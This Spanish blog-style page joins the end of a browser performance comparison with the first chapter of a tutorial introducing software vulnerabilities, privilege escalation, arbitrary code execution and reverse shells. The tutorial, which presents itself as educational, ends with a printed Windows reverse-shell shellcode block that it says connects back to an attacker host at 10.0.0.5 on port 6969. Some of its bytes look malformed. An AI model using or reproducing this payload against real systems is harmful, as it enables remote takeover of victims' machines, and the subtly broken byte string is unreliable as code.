    Respecto al consumo de RAM los datos han sido reveladores. Opera ha sido el menos pesado y con un tiempo de apertura bastante decente, que aunque no llega a ser el mejor no se encuentra muy lejos. Incluso con 20 pestañas abiertas no muestra una carga en RAM excesiva. Firefox ha obtenido sorprendentemente un segundo lugar!! y esto es sorprendente porque existe el rumor muy extendido de que Firefox es el agujero negro del consumo de la RAM… con esto queda bastante claro que esto no es cierto, o al menos no es cierto del todo. Firefox es cierto que posee un consumo muy grande de RAM… cuando se usan montones de extensiones, al igual que le pasaría a cualquier navegador. Lo que sucede es que el usuario de Firefox suele tener infinitamente más extensiones y complementos que cualquier otro usuario de otros navegadores, bien porque no existen dichas herramientas o bien porque no las usan.

    Pero si Firefox ha sido la sorpresa por tener un segundo puesto, Chrome ha sido la oveja negra sin duda en este aspecto. Quitando las versiones de 64 bits, Chrome se lleva la palma en consumo de RAM, llegando prácticamente a los 2GB de RAM para 20 pestañas, y casi 1.1GB solo para 10. Evidentemente no significa que el usuario tenga que tener constantemente 20 pestañas abiertas, por supuesto, pero recordemos que aquí estamos ante perfiles limpios!! Imaginar que tenemos solo 5 pestañas pero unos cuantos complementos instalados… 2GB para 20 pestañas no es muy aceptable, cuando Opera abre las mismas 20 con tan solo la mitad de RAM.

    Chrome no solo se lleva la peor parte en cuanto a RAM, sino que también en cuento a uso de la CPU. En prácticamente todos los test, Chrome usa sensiblemente más CPU que el resto de los navegadores, que no sobrepasan el 13%. Esto en parte se entiende porque mi sistema posee 8 nucleos lógicos, 100/8 = 13 aprox. El problema es que al poseer un mayor uso de la CPU, consumirá sensiblemente más energía, que en un portátil se traduce en minutos de uso.

    El consumo de la GPU en el caso de IE, Firefox y Chrome es más o menos similar. Si es cierto que el uso de la GPU en Firefox es en algunas ocasiones algo más elevado que el resto de la competencia, lo cual por supuesto también repercute en un mayor consumo energético.

    Con todo esto podríamos decir que Chrome sería el navegador menos eficiente de todos, y que IE9 posiblemente el más eficiente.

     

  • Estabilidad

    Si bien es cierto que la última comparativa no estuvo exenta de problemas con los navegadores, en este caso todos los navegadores se han portado más o menos bien. No ha existido ningún cierre inesperado, error o problema de ningún tipo quitando un par de excepciones con Safari.

    La primera ha sido a la hora de abrir 10/20 pestañas en el navegador, lo que produjo de pronto un uso constante de 13-17% de la CPU (cuando lo normal sería 0%). A esto se le unía la necesidad de tener que actualizar reiteradamente algunas de las pestañas abiertas puesto que no se lograba visualizar el contenido.

    La segunda ha sido de nuevo al intentar de ejecutar Biolab, por alguna extraña razón no es posible, quizás por la falta de ¿QuickTime?

 

  • JavaScript

    Todos los navegadores han mejorado su rendimiento JS con respecto a la comparativa anterior. Quizás los dos cambios más sustanciales han sido por un lado el de Chrome respecto a Kraken, en el que ha reducido algo más de 3000 milisengundos!! y por otro lado Firefox en V8, que se ha visto aumentado unos 2000 puntos.

    Por supuesto, estos cambios no solo tienen repercusiones en los test sintéticos. Como se aprecia todos obtienen mejores resultados en los test sintéticos, pero esto se puede observar más adelante en las aplicaciones/juegos. Ejemplo de ello es Biolab, en el que prácticamente todos los navegadores obtienen un rendimiento perfecto.

    Una vez más y como era de esperar dado que IE9 no ha sufrido cambios sustanciales, la versión de 64 bits de este parece no tener habilitado el nuevo motor JS de Microsoft, lo que hace como vemos que su rendimiento quede a años luz del resto, obteniendo en cualquier test que sea muy dependiente de JS la última posición.

    Respecto a JSNES hay que decir que una vez más aunque Safari e IE9 obtienen un frame rate razonable, este es totalmente injugable debido a que etos navegadores saltan frames. Esto hace que en vez de ir lento (que sería lo esperado cuando se tiene un framerate bajo) experimente saltos constantes. Es una “trampa” para apuntar un alto FPS, pero el juego es totalmente imposible.

     

  • Gráficos

    Aunque sin duda alguna los ganadores han sido tanto IE9 como Firefox, la mayor sorpresa ha sido Chrome, que ha irrumpido por fin con soporte hardware para su navegador. Es cierto que el soporte que este posee no es comparable ni mucho menos al ya demostrado por IE9 o Firefox 9.0, pero es evidente que incluso con la implementación que tienen actualmente es infinitamente superior a Safari y Opera.

    Actualmente existe una versión de prueba de Opera con soporte hardware completo que apareció en Febrero. Desgraciadamente no solo se trata de una versión antigua de Opera, sino que además resultó ser totalmente un fracaso en cuanto estabilidad, errores, rendimiento… Esto no quiere decir que sea malo, y estoy seguro que pronto tendremos una nueva versión con soporte hardware mucho más madura. Sobre Safari no puedo decir nada, actualmente no posee soporte para hardware ni hay pensamiento de incluirlo, al menos de momento.

    Mozilla por su parte tampoco ha estado con los brazos cruzados, y se puede ver un incremento sustancial en los aspectos gráficos del navegador. Si Firefox 4.0 llegó a 37 fps en el campo de pruebas por ejemplo, ahora llega sin problema alguno a superar los 60 fps. Que no sea tan sustancial como de nada a todo no significa que incrementos de 20-50% del rendimiento sea poca cosa. No obstante Chrome si posee en WebGL una característica que Firefox no tiene implementada actualmente (aunque está de camino), que es Antialiasing en WebGL, lo que aumenta considerablemente la calidad de las figuras presentadas.

  • Estándares

    Todos los navegadores como era de esperar han mejorado sus compatibilidades. Para empezar, el propio test de Nielsen ha pasado ha puntuar ya sobre 450 puntos (creo que en la anterior era sobre 300), con lo que implica que se han introducido más test y actualizado otros.

    Respecto a WebGL, tanto Firefox como Chrome han aumentado considerablemente el soporte para este, llegando prácticamente a alcanzar la confiabilidad del 100%, siendo Chrome algo más competitivo que Firefox. Microsoft ya advirtió que WebGL aunque es un buen estándar sufre de problemas de seguridad, los cuales por supuesto se han tenido en cuenta por Google o Mozilla. Queda aun por ver si Microsoft se decidirá por incluir WebGL en IE10 o si por le contrario tendremos que esperara a un IE 11. Opera en contrapartida, su navegador con soporte hardware que comentábamos en el punto anterior era compatible con WebGL. Esto quiere decir que es solo cuestión de tiempo para que aparezca el soporte para su navegador, aunque sí hay que decir que llegan tarde. Apple por su parte comienza a añadir poco a poco algunas piezas de WebGL en las build de WebKit, pero aun muy preliminar y tan solo para MAC OS

    En cuanto al IE test center, Chrome se ha quedado esta vez muy cerca de Firefox, aunque posiblemente en cuanto aparezca la beta de IE 10 los chicos de Microsoft actualicen de nuevo el IE test center con montones de nuevos test no compatibles para el resto de los navegadores… a fin de cuenta es evidente que dicho site aparece precisamente para IE.

    Otra función interesante que ya tenemos tanto en IE, en Chrome y en Firefox es Web Timming, que permitirá medir prácticamente todos los tiempos de una web. Pero de esto se hablará en otro momento, por ahora decir que en el mundo de los navegadores nadie se está quieto.

 

  • Compilaciones x64

    En general podemos decir que el soporte x64 para Firefox está empezando a ser casi a la par que su versión de 32 bits. Si es cierto que el motor JS no está optimizado totalmente para 64 bits, vemos pocas diferencias. En todos los test prácticamente la versiond e 32 bits de Firefox está pegada a la versión de 64 bits, siendo a veces una la mejor, siendo otras veces la otra. En general, el rendimiento JS de la versión de 64 bits es aun algo inferior, pero suele tener un mayor rendimiento en gráficos.

    Por parte de IE el panorama es muy diferente. De nuevo la versión de 64 bits de Microsoft es un desastre en tanto y cuanto JS se refiere, o al menos en comparación con su versión de 32 bits. Gráficamente es algo mejor generalmente, pero si bien la versión de 64 bits de Firefox sería a día de hoy estable y muy a la par que su versión de 32 bits (se espera que con el tiempo la versión de 64 bits sea más rápida), en caso de IE9 no sale muy “rentable” hacer uso de la versión de 64 bits.

Seguridad: Vulnerabilidades. Capítulo Primero -> Introducción al mundo de las Vulnerabilidades

ATENCION: Los ejemplos que se van a mostrar y “tutoriales” tan solo tienen carácter educativo. En ningún aspecto comparto filosofías de invasión a la intimidad, ataques contra un sistema informático o cuestiones similares. En la medida que sea posible siempre se usarán ejemplos y formas que puedan ser usados por cualquier persona, de forma que pueda verificar los contenidos escritos. No obstante, por motivos más que obvios, materiales como contraseñas, nombres de usuarios o de hosts, serán omitidos o modificado en las capturas de pantallas realizadas (o las lineas escritas). Es decir, los ejemplos serán completamente reales, los datos mostrados a vosotros necesarios para poder pertrechar estos ejemplos no siempre lo serán (Sí lo serán los resultados). Para que esto conste de forma clara, todo material sensible modificado o falso estará resaltado en ROJO. Por motivos de seguridad, todo el material que sea expuesto aquí (exceptuando software propietario o libre, citaciones expresas o código de terceros) tanto texto, imágenes y código son propiedad del autor y está completamente prohibido su reproducción completa o parcial en otros lugares, espero que se comprenda.

 

Introducción al mundo de las Vulnerabilidades

 

Antes de entrar realmente en la materia específica, es necesaria una pequeña introducción sobre el mundo de las vulnerabilidades, conocimientos básicos que posteriormente se usarán constantemente a la hora de ver las diferentes vulnerabilidades que podemos encontrar. Y es que de eso es de lo que vamos a tratar en todo este tema: Las vulnerabilidades más comunes que existen a día de hoy en el mundo de la tecnología en general y de la informática en particular, de cómo el verdadero hacker hace uso de estas para causar auténticos estragos allí donde aparecen.

Vamos a intentar dividir este pequeño capítulo en algunas secciones para tener más o menos claro de lo que vamos a ver:

  • Que es una vulnerabilidad y que no.
  • Tipos de vulnerabilidades y sus efectos: Ejecución arbitraria de código, Denegación de servicio (DoS), Acceso a información restringida
  • Como evitar o protegerse contra estas amenazas: Actualizaciones, Firewalls, ASLR, DEP, SEHOP, Otros…

 

Que es una vulnerabilidad.

 

Es curioso que aunque las vulnerabilidades son sin duda alguna el mayor peligro para un usuario o entidad (empresa, organización…), son de las que menos se hablan o menos información parece existir. Cualquiera acude a Google, lanza una petición sobre un virus concreto y casi de inmediato le aparecerán cientos de webs con múltiples soluciones para la eliminación de dicho malware. Pero en cambio, tienes que irte a sites muy concretos en los que se comentan o hablan de fallos de seguridad por ejemplo. Es más, si a un usuario doméstico le preguntas si sabes que es un virus, te dirá posiblemente que no solo sabe lo que es, sino que en alguna ocasión le jugó una mala pasada en su equipo, haciendo que este fuese a lo mejor más lento, o recibía publicidad indiscriminada en su propio escritorio de Windows, o usaba su cuenta de correo para enviar Spam. Y si le preguntas si sabe algo de fallos de seguridad en sus programas o si alguna vez ha tenido algún problema con algún exploit? Posiblemente no sea capaz siquiera de saber de qué se le está preguntando.

Hay que dejar bien claro desde el principio que un malware (Virus, troyano, gusanos…) no es una vulnerabilidad, no es un fallo de seguridad de un programa o un software, no es una puerta abierta que se ha dejado abierta de forma premeditada o accidental. Un malware como ya se vio, no es más que un programa informático, que como tal está programado para realizar una serie de acciones. Lo que diferencia un malware a un programa normal y corriente es que su finalidad es la de realizar lo que podríamos llamar acciones “malignas”, engañando al usuario al que se le implantará y en la medida de lo posible sin que este sepa que el malware está en su dispositivo. Por tanto, como cualquier programa, sufre de sus ventajas y sus inconvenientes. Como cualquier programa, un malware se encuentra con las limitaciones de tales!! Para que un programa se ejecute necesita antes o después de la intervención directa del usuario (como veremos más adelante esto no es del todo cierto cuando hay exploits por medio). El malware continuará ejecutándose en el dispositivo hasta que este programa sea detenido al igual que cualquier otro programa que exista. Simplemente la habilidad de estos programadores, hace que estos malware sean más o menos astutos y sepan esconderse mejor o peor. Pero como he dicho no dejan de ser eso, programas diseñados con ese fin.

Una vulnerabilidad por el contrario no es en modo alguno un programa, aunque muchas de ellas se suelen crear precisamente en la creación de otros programas. Una vulnerabilidad es un fallo generalmente en un software que hace que este sea susceptible a un ataque de algún tipo, para lograr en este un comportamiento anómalo. He dicho que es un fallo generalmente en un software, pero esto no es exclusivo del softwar, un protocolo puede ser igualmente vulnerable si se demuestra que la teoría que hay detrás por ejemplo tiene fallos que pueden ser utilizados. Un ejemplo de vulnerabilidad no relacionada directamente con el software es por ejemplo la encriptación RSA, el cual se basa precisamente en la imposibilidad de obtener de forma rápida la factorización de un número gigantesco que ha sido formado por la multiplicación de dos números primos grandes. Esto a la vez de ser en lo que se basa RSA para su seguridad, es también su vulnerabilidad, ya que teóricamente es posible factorizar cualquier número no primo, simplemente limitado al tiempo requerido para ello… puede que la seguridad RSA sea actualmente inquebrantable, pero teóricamente es totalmente factible, y si los ordenadores cuánticos llegan a ser una realidad, RSA dejará de ser viable tal y como lo conocemos a día de hoy.

De todos modos, aquí tan solo vamos a tratar las vulnerabilidades del software, no las que pudiesen afectar a protocolos o sistemas, que en cierto modo ya han sido tratadas en otros temas, a fin de cuenta que se pueda realizar un Sniffing en una red gobernada por un Switch es posible a vulnerabilidades de los protocolos actuales. También hay que tener presente que muchas veces la existencia de vulnerabilidades es algo intrínseco e inevitable al propio software, mientras que otras veces el software es creado de tal forma y con el conocimiento de ciertas vulnerabilidades en post de una mayor usabilidad o nuevas funciones (por ejemplo). La mayoría de estas vulnerabilidades sin embargo, son “creadas” accidentalmente por los propios programadores de software o incluso por los propios compiladores. En cualquiera de los dos casos, el ser humano comete errores, y por eficiente, profesional o meticuloso que sea un programador, siempre habrá cuestiones que se le escapen, errores más pequeños o menos pequeños que al final puedan ser usados por un exploit. No existe el software perfecto, y cuanto más crece un proyecto de software más fácil es sacar a la luz sus fallos, por su complejidad y porque más programadores habrán estado trabajando en ello. A medida que los compiladores evolucionan y se mejoran las técnicas de programación, es cierto que los fallos de seguridad disminuyen enormemente, pero como ya se ha dicho, ningún proyecto medianamente complejo es invulnerable, solo tiene que aparecer alguien que es capaz de ver donde falla, por qué falla y como utilizar dicho fallo.

Pero… ¿Cuál es el peligro real de una vulnerabilidad de software? Si tomásemos al azar cualquier persona de la calle y le preguntásemos si sabe que es un fallo de software posiblemente nos respondería que un cuelgue, algún mensaje de error… o simplemente un comportamiento erróneo de dicho programa. Pero no todos los fallos de un software son una vulnerabilidad ni mucho menos. La vulnerabilidad existe en el momento que ese fallo de funcionamiento puede ser “dirigido” por un atacante a voluntad, haciendo que este pueda en cierto modo controlar dicho fallo y aprovecharse de él. ¿Pero como es posible usar un fallo en un programa para beneficiarse de él desde el punto de vista de un hacker? Bueno, no todos los fallos de un software producen fallos de seguridad, ni siquiera todos los fallos/vulnerabilidades son usables… de echo solo lo son la minoría. No obstante la premisa sí es simple.

En teoría, visto el software como un “Sandbox” (caja negra), cualquier posible fallo de seguridad o vulnerabilidad de este tan solo tendría un dominio de actuación dentro de esa “caja negra”. Es decir, que ante un fallo de cualquier tipo, el peor de los casos sería un deterioro, pérdida de información, cuelgue… de dicho software. En la práctica, sabemos que por mucho que los procesos se independicen o sean ejecutados como “cajas negras”, estos están a su vez gobernados generalmente por un OS detrás, lo que hace que en muchas ocasiones estos software vulnerables puedan interactuar directamente con el OS que lo gestiona comprometiendo al propio sistema. Es por ello que los efectos de las vulnerabilidades serán muy variados, desde simplemente lograr detener el software en cuestión, hasta lograr el control total del sistema intervenido.

 

 

Tipos de vulnerabilidades y sus efectos

 

Las vulnerabilidades pueden clasificarse de muchas formas diferentes, desde atendiendo a su peligrosidad, a sus efectos, a su ámbito de efecto… es por ello que posiblemente en cualquier otro lugar puedan ser clasificadas de cualquier otro modo. Desde mi punto de vista, quizás la división más importante de estas vulnerabilidades es el ámbito de acción de estas, es decir, si la vulnerabilidad supone un peligro de forma remota o localmente. Aquí, cuando nos referimos a “Vulnerabilidad remota” estamos hablando de un fallo de seguridad que puede ser “disparado” o aprovechado de algún modo sin tener un acceso directo al equipo en cuestión. Por otro lado hablaremos de “vulnerabilidades locales” cuando dicho fallo de seguridad pueda tan solo ser disparado o aprovechado solo sí tenemos acceso directo a dicho dispositivo. Parece plausible que a priori podría parecer que las vulnerabilidades realmente peligrosas son las remotas, pero esto no tiene por qué ser así. Que una vulnerabilidad sea remota o local sean más o menos peligrosa (potencialmente) depende de lo que un atacante desea lograr y los resultados que pueda obtener con ellas. En un momento dado una vulnerabilidad remota puede no servir para nada, mientras que una local puede darte acceso total al sistema. Parece evidente por tanto, que para que exista una vulnerabilidad remota, el software afectado debe de estar de modo alguno a la red (ya sea LAN o WAN), mientras que las vulnerabilidades locales pueden estar presente en cualquier software.

A partir de esta primera clasificación, se abren una gran cantidad de diferentes vulnerabilidades comunes que suele afrontar el software. No quiere decir que todas ellas sean posibles en todo el software existente, ni siquiera que todas ellas puedan ser aplicadas tanto en sistemas remotos como locales. Algunas de ellas las veremos en detalle en los temas siguientes, con ejemplos reales. Pero de nada sirve conocer exactamente un tipo de vulnerabilidad si no se le ve todo como un conjunto. Algunas vulnerabilidades además se han hecho muy famosas con los años, otras en cambio, siendo igualmente de peligrosas parecen pasar más desapercibida por programadores y asesores de seguridad. Veamos unas cuantas de ellas sin entrar en detalle, que como digo será parte del temario que vendrá más adelante.

Posiblemente, sin duda alguna las vulnerabilidades de software más importantes son los Desbordamientos de Buffer y los punteros sueltos. Cualquier programa que se esté ejecutando es a groso modo un conjunto de instrucciones que son ejecutadas por el procesador de forma secuencial (suponiendo un solo hilo de ejecución y no existiese ningún salto). Esas instrucciones antes de poder ser enviadas al procesador deben de estar evidentemente antes en memoria principal, y esta es siempre susceptible a ataques tanto externos como internos, con el fin de modificar/alterar ese flujo de ejecución que podría considerarse el normal de dicho programa. Los desbordamientos de buffer y los punteros sueltos son técnicas que permitirán como veremos más adelante la ruptura de ese flujo normal de ejecución, alterando de algún modo la memoria del sistema que contiene las instrucciones que se van a ejecutar o “jugando” con ellas para obtener otros resultados. Dicho de otro modo, básicamente se trata de poder controlar de algún modo el registro EIP, que es el registro que indica la próxima instrucción a ejecutar.

En segundo lugar, posiblemente las vulnerabilidades más comunes sean todas las relacionadas con las validaciones de datos. A día de hoy, prácticamente cualquier software permite de un modo u otro la introducción de datos a este, ya sea de forma automatizada o a petición por el usuario. En un mundo ideal todo el software sabría interpretar perfectamente que es aquello que se está introduciendo como entrada de datos y lo trataría acorde de ello. No obstante, desde el punto de vista de un programador esta es una tarea hercúlea. Es este y no otro quien debe de introducir en el software todas las reglas de validación de los datos que crea oportunas con el fin de que el programa tan solo acepte los valores esperados. El caso más tonto podría ser una calculadora, en la que el programador evidentemente tan solo permitiría la introducción de números (hablamos del caso más simple de todo, obviamos hexadecimal, constantes…), y si se intentase introducir una letra directamente no la permitiría o nos informaría del error. El problema es que esto es muchas veces algo muy muy complejo, y suele ser muy fácil que a un programador se le escape el saneamiento de cualquier entrada, permitiendo que un atacante se aproveche de ello. Dentro de este campo, se encuentren posiblemente las vulnerabilidades más comunes a día de hoy, posiblemente por la explosión de Internet: Inyección de código, Inyección eMail, Inyección SQL, Cross-site Scripting, Path traversal… esto no quiere decir que las vulnerabilidades de validaciones de datos sean inservibles en software local no expuesto a Internet, simplemente que estas han tomado una gran importancia gracias a que precisamente Internet se perfila cada día más como una red de interacción constante. Dicho de un modo simple… si tenemos que introducir cualquier cosa en cualquier web (una búsqueda, un comentario, una opinión, una descarga, un nombre de usuario/contraseña…), este podría ser malignamente creado para producir un efecto devastador en el servidor en el que está alojado el servicio que sea.

En tercer lugar y no menos importante tendríamos las Escaladas de privilegios. Prácticamente la totalidad de cualquier dispositivo que pudiésemos considerar “seguros”, están gobernados por un OS que tienen una jerarquía clara de permisos. Del mismo modo que los programa se ejecutan en cierto modo como “cajas negras”, estos son ejecutados en la medida de lo posible siempre con los permisos más restrictivos posibles, o dicho de otro modo, tan solo se les concede los permisos necesarios para su funcionamiento óptimo. De este modo, se puede estructurar todo el OS con una filosofía clara sobre quién y cómo se puede ejecutar cualquier programa. Es aquí donde nace la figura archiconocida del “Súper Usuario” ó “Administrador” o en terminología Linux “root”. En cualquier sistema y prácticamente en cualquier software, se conocen dichos privilegios y/o usuarios como el acceso total. Si hablamos por ejemplo de un OS como Windows 7, la figura del Administrador tendría privilegios totales sobre el sistema, permitiendo así cualquier cambio al sistema que este desease, desde cambio de las políticas de seguridad, creación/eliminación de usuarios y sus contraseña… Pero esto no solo es aplicable a los OS, sino que también al software!! Un buen ejemplo de esto sería una base de datos MySQL por ejemplo, en el que la figurada de Administrador ó root tendría acceso total a la base de datos, no solo a determinadas tablas o algunos valores. Cuanto más avanza el tiempo, más se intenta restringir los privilegios del software, con la idea de que en el peor de los casos, incluso ante una ejecución de código arbitraria, este tan solo pudiese ejecutar dicho código como un usuario lo más limitado posible, y de este modo tener el menor acceso posible al sistema.

 

Evidentemente estos tres puntos no resumen todos los tipos de vulnerabilidades que podemos encontrar a día de hoy, pero sí las más extendidas, clásicas y potencialmente peligrosas a día de hoy, y que serán las que veamos más adelante. ¿Pero qué hay de la finalidad de todas esas vulnerabilidades? Evidentemente un hacker usará cualquier vulnerabilidad a su alcance para lograr su objetivo, ¿pero cuál es su objetivo? ¿Qué se logra o qué se puede lograr con dichos fallos de seguridad?

Como se ha dicho todo depende del objetivo o los deseos del hacker, no obstante no todas las vulnerabilidades prosiguen ni mucho menos el mismo fin, y suele ser más que habitual el uso de varias vulnerabilidades para lograr la tarea que se ha propuesto el atacante. De todos modos listar los efectos comunes que se suelen derivar de las vulnerabilidades es fácil, estos suelen ser bastante claros:

 

La ejecución de código arbitraria

 Posiblemente, la ejecución de código arbitrario sea el máximo exponente al que puede llegar un hacker. Cuando un fallo de seguridad de cualquier software puede provocar este “estado” en el sistema atacado, podemos decir que el Hacker ha logrado su Jaque Mate. La ejecución de código arbitrario se define como la capacidad de poder ejecutar a voluntad del hacker cualquier código en el equipo afectado. Esto es de suma importancia, ya que si un hacker puede ejecutar código a su voluntad en dicho equipo, con casi total seguridad posea control total sobre dicho equipo (siempre y cuando los privilegios que posea en dicho equipo sean también de administrador). Cuando se trata de una vulnerabilidad remota que causa dicho estado, hablaríamos entonces del peor escenario posible, una ejecución de código remota, en la que el hacker podría tomar posesión (control total) de un equipo que simplemente estaba conectado a Internet o a una Red local. Aunque simple de explicar, posiblemente no lo sea tanto el entender las repercusiones de esto. Básicamente si un hacker posee un exploit de ejecución remota para un software y versión de este que tú usas, podrá obtener control total sobre tu equipo a su voluntad. La cosa evidentemente no es para reírse.

La relación entre la ejecución arbitraria de código con el control total del equipo es directa, pero a lo mejor no es tan obvia como otras cuestiones que se están discutiendo aquí. Normalmente, en los concursos y demostraciones de seguridad lo que se exige siempre es lo mismo, la ejecución arbitraria de código, la cual se suele demostrar haciendo que el experto en seguridad sea capaz de abrir la calculadora del sistema atacado por medio de un fallo de seguridad encontrado en cualquier software. Pero de nuevo, igual que el hacker instruye al equipo para que ejecute la aplicación calculadora de Windows (por ejemplo), puede instruir también al equipo vulnerable a que ejecute una serie de instrucciones que conforman por ejemplo un servidor VNC (software usado para control remoto), o lo que es más común en este mundo, instruir al equipo objetivo para dotar al hacker de una Shell a dicho equipo (una “línea de comandos”). La ventaja de inducir una Shell remota es evidente. Una Shell remota, proporciona al hacker capacidad sobrada de realizar cualquier tarea en el equipo objetivo, ya sea el robo de información, ya sea la instalación de una puerta trasera por la cual conectarse más adelante. Además, el código necesario para crear una Shell es infinitamente menor al necesario para crear un servidor VNC (por ejemplo), lo cual también es de agradecer a la hora de preparar las armas al hacker. Ni que decir tiene que la creación de una Shell o cualquier otro código dependerá totalmente del equipo afectado, así por ejemplo el código necesario para abrir una Shell remota en Windows no es usable para hacerlo en Linux y viceversa.

La ejecución de código arbitraria no obstante se enfrenta a dos problemas clásicos. El primero de ellos es algo que hemos comentado ya: Los privilegios. Cuando un software es afectado por un fallo de seguridad con la ejecución de código arbitrario, cualquier código que sea ejecutado a través de este fallo tendrá tan solo los privilegios heredados por el software afectado. Si dicho software estaba siendo ejecutado con permisos administrativos, entonces el hacker ejecutará código con tales privilegios, tendría una Shell siendo administrador. Pero en cambio, si el proceso en cuestión se estaba ejecutando con permisos limitados, el hacker por el contrario no podrá poseer un control total sobre el sistema, tan solo a aquellas partes de este en las que sus privilegios limitados les puedan dar acceso, sin poder acceder a otras partes que serían interesantes del sistema las cuales tan solo tendría a lo mejor el administrador de este. Es aquí donde comprendemos ahora la importancia de las vulnerabilidades de Escaladas de privilegios de las que hablamos anteriormente.

El segundo problema al que se enfrentan los hackers una vez logrado la ejecución de código remoto es sin duda alguna uno de los némesis de estos, los Firewalls. Mientras el acceso que esté intentando realizar el hacker sea local (con acceso directo al equipo) no hay mucho problema, pero cuando se está intentando un acceso remoto a un equipo, un Firewall por cutre que sea (incluso simplemente un dispositivo NAT) filtraría cualquier conexión entrante al equipo que no se solicitase. Es decir, que incluso cuando el hacker pudiese ejecutar código remoto en el equipo víctima, el Firewall de Windows, el Router del usuario o el Firewall de la empresa denegarían cualquier conexión a una Shell estándar creada en el equipo remoto, lo cual complicaría enormemente al hacker su labor, el cual aunque podría ejecutar código no podría “inyectar” un pequeño programa servidor al cual conectarse. No obstante, todo némesis tiene su espada mágica para vencerle, y a día de hoy existen técnicas para circunvalar estas defensas. En dicho caso lo más normal es usar conexiones inversas. Las conexiones inversas no solucionan el problema de raíz, ya que un Firewall puede configurarse de forma más o menos estricta para evitar estas conexiones inversas, pero con estas técnicas automáticamente se logra evitar tanto dispositivos NAT como el 99% de todos los Firewalls configurados por defecto.

En redes, para establecer una conexión es evidente que una de las dos partes sea la que comience la comunicación. Aquel equipo/software qué comienza la comunicación lo denominamos generalmente como “cliente”, mientras que el equipo/software que generalmente está esperando a que se conecten a él se le denomina servidor. De este modo, si deseamos poder conectarnos a un equipo de forma remota, el equipo remoto hará teóricamente de servidor y nuestro equipo de cliente, ya que es el equipo remoto el que estará a la espera de una conexión nuestra, y será nuestro equipo el que inicie la comunicación con él. Pues bien, el truco es que el 99% de todos los firewalls o dispositivos NAT filtran (deniegan) cualquier conexión entrante por defecto. Es decir, que si deseamos poner en escucha cualquier software en un equipo (un software tipo servidor), antes tendremos que tomar las medidas precisas en los Firewall o Routers intermedios para que estos no intervengan y permitan las conexiones entrantes dirigidas a dicho servicio (las famosas aperturas de puertos de los Routers). Evidentemente esto lo puede hacer el administrador de esos equipos, pero no un hacker. En cambio, los mismos dispositivos no tienen problema alguno de permitir que un software cliente tenga acceso al exterior… nadie se imagina tener que estar configurando los Firewalls cada vez que su equipo quiere conectarse a cualquier servicio de la red.

Las conexiones inversas por tanto se basan en esta disyuntiva para evitar los Firewalls y dispositivos NAT. En vez de crear por ejemplo una Shell ordinaria (que actuaría de servidor), hacen que la Shell creada en el equipo objetivo sea una conexión saliente a un servidor del hacker que permanece a la escucha. Será el equipo víctima quien iniciará la conexión al equipo remoto, y al cual le dará la Shell remota. Dado que la conexión es saliente desde el punto de vista del equipo atacado, los dispositivos NAT y Firewalls de la víctima permitirán la conexión, mientras que el servidor del hacker estará configurado y preparado para recibir las conexiones remotas inducidas por el hacker en cuestión. A este tipo de Shell se las conoce por tanto como Shell Inversas. Por supuesto que un Firewall podría configurarse para permitir tan solo ciertas conexiones salientes, pero es algo que generalmente no se usa, tan solo en servidores en los que se concede tan solo conexiones salientes a ciertos servicios.

A diferencia de un malware que simplemente es un programa previamente creado, estos “códigos arbitrarios” no son tan simples de manejar como se podría pensar. Si lo que desea el hacker es ejecutar un programa concreto del equipo objetivo puede quizás no tener una complejidad muy grande, en cambio si lo que el hacker desea es inyectar su propio código la cosa es algo más complicada, ya que por lo general es necesario inyectar directamente el código en lenguaje máquina, es decir, una secuencia de valores hexadecimales que corresponden a los opcode y valores de las instrucciones ensamblador que se desean enviar al equipo víctima. A esto se le denomina generalmente ShellCode, dado que generalmente el código que se incluye es el necesario para crear una Shell. Actualmente existen generadores de shellcode en función de las necesidades que tengamos: Si deseamos una Shell directa o inversa, la IP del host remoto/origen, el puerto de conexión… etc etc etc. Veamos un ejemplo de shellcode para crear una Shell inversa al equipo del hacker ubicado en la IP 10.0.0.5 por el puerto 6969:

“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\
\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\
\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\
xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\
\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\
\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\
\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\
\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\
\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\
\x89\xc7\x68\x0a\x00\x00\x05\x68\x02\x00\x1b\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\
\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\
\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\
\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\
\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\
\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5″

Esa cadena de valores hexadecimales no son más que las instrucciones en ensamblador que se ejecutarán en el procesador y los valores que los acompañan. Por ejemplo, el primer valor hexadecimal xFC es el opcode de la instrucción CLD (Clear direction flag) que lo que hace es limpiar (poner a cero) el flag DF del procesador. Como digo, códigos de este tipo son complejos de analizar y de comprender. En cambio tienen una gran ventaja, y es que tan solo bastan unos cuantos bytes (en este caso 314) para crear una Shell inversa totalmente configurada y funcional, una cuestión muy importante a la hora de intentar aprovechar cualquier vulnerabilidad, dado que no siempre se puede inyectar toda la cantidad de código que uno desee.

